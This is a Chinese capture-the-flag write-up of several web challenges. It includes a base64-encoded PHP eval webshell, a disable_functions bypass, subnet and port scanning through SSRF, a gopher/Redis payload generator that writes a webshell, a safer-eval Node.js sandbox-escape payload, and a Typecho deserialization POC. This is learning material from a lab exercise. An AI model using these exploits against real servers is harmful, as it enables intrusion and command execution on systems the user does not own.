考察知识点 bypass disable_functions
拿到题目看到是代码审计题目
我们根据代码可以得到,我们需要传入Ginkgo参数,其值需要经过base64进行加密,后端进行解码通过eval函数执行,所以我们可以传入base64编码后的一句话作为ginkgo的值。
phpinfo(); base64编码后 cGhwaW5mbygpOw==
构造payload看是否能够利用
成功执行,我们查看phpinfo信息发现大多数函数被禁用。现在还不知道是否禁用了我们需要的函数。
接着写入一句话马
eval($_POST[‘123’]); base64编码后:ZXZhbCgkX1BPU1RbMTIzXSk7
发现成功上传,接下来就拿蚁剑链接
但是发现并不能看到flag的内容,看到下面有一个readflag文件,打开看到是乱码
ELF可执行文件,应该是读取flag的文件,现在就是需要执行它,但是上面禁用了很多函数,我们并不能执行它
这里就需要bypass disable_functions来执行/readflag,再往上找到了相关的利用脚本。
然后中国蚁剑链接,看到flag,但是发现是个假的。提示在根目录下但是/root,无权访问说明肯定是要提权了。看一下auto.sh
发现有python脚本在/var/mail/makeflaghint.py,而且发现flag.hint文件中的内容是有这里控制的应该有着root权限直接加一个读取flag的脚本
我觉得我们可以在这个地方执行命令,刚刚的提示说flag在root下,我们可以让他重定向输入到flag.txt中
getshell
考察知识点:SSRF,redis5.X未授权漏洞
打开题目输入了127.0.0.1,然后得到别这样得回显,然后F12看到提示
看到url就是ssrf
于是就开始访问这个提示得到如下的信息
我又输入了一些同一网段的Ip地址,看到回显都不相同,于是写了一个将同一网段的ip都进行了内网探测,本人菜,脚本将就看看吧!
import requests
for i in range(1,254):
ip = "173.238.202."+str(i)
url = "http://686fde4b-1236-4691-bc3f-57d4ade26ecb.node3.buuoj.cn/index.php?url="+ip+"&submit=%E6%8F%90%E4%BA%A4"
#print url
r = requests.get(url=url)
#print len(r.text)
if len(r.text)!=421:#没有回显的网页长度为421
print url
运行后可以看到有6个ip有不同的回显.
在172.238.202.11处的到信息
得到的提示是端口信息,我第一次写的脚本傻不拉几的去跑所有的端口,发现跑了好久就只是,80和6379两个端口,为了让脚本进行的更加简洁,我第二次优化脚本的时候就选了一些可能会出现漏洞的端口号。
import requests
# for i in range(1,65535):
ports = [22,23,80,445,3306,6379,8080]
for i in ports:
url = "http://686fde4b-1236-4691-bc3f-57d4ade26ecb.node3.buuoj.cn/index.php?url=173.238.202.11:"+str(i)+"&submit=%E6%8F%90%E4%BA%A4"
#print url
r = requests.get(url=url)
#print len(r.text)
if len(r.text)!=421:
print url
跑出来是有80和6379端口有回显信息。
访问了6379端口之后看到回显
百度搜索了下关于redis的未授权访问漏洞,发现要通过gopher协议生成exp。这里贴一下百度出来的脚本。
import urllib
protocol="gopher://"
ip="173.238.202.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
然后再访问shell.php即可得到flag
node.js沙箱逃逸
由于之前没学习过这个内容,所以做题的时候又去学习了一波学习地址
打开源代码看到引用了一个模块,擅长使用各大搜索引擎的ly0n
师傅就拿出了他的绝活。再上面大佬的博客下好好的学习了一下,再来看看源码。写了一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。如果执行的代码超过6s,才能执行/eval。输入21474836471能绕过。
发现使用了一个库safer-eval,百度发现有一个CVE CVE-2019-10759,但是版本号对不上,在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染。这个这个我不是很懂。看到有现成的POC就拿来写脚本里了。
(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
利用脚本
import requests
url = "http://7a158f12-0087-4891-802a-47cef626b786.node3.buuoj.cn/eval?delay=211427918723"
data = {'e':"""(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
"""}
ly0n = requests.post(url=url,data=data)
print ly0n.text
这个题目的原理就是node.js沙盒逃逸,原型链污染。这个题看了大师傅们的writeup。没办法自己太菜了。 参考链接: http://www.mamicode.com/info-detail-3030580.html
打开了题目之后发现是Typecho的安装页面,我们按照指示一步一步的进行时,发现到最后出现,你不想安装的字样。
我想应该是关于Typecho的安装页面的漏洞,就去百度了一下,结果真的存在。发现是一个反序列化的漏洞,这个漏洞我下去会重新复现,这里利用别人的POC直接打吧。
构造POC
<?php
$CMD = 'cat /flag';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
即可以得到flag!!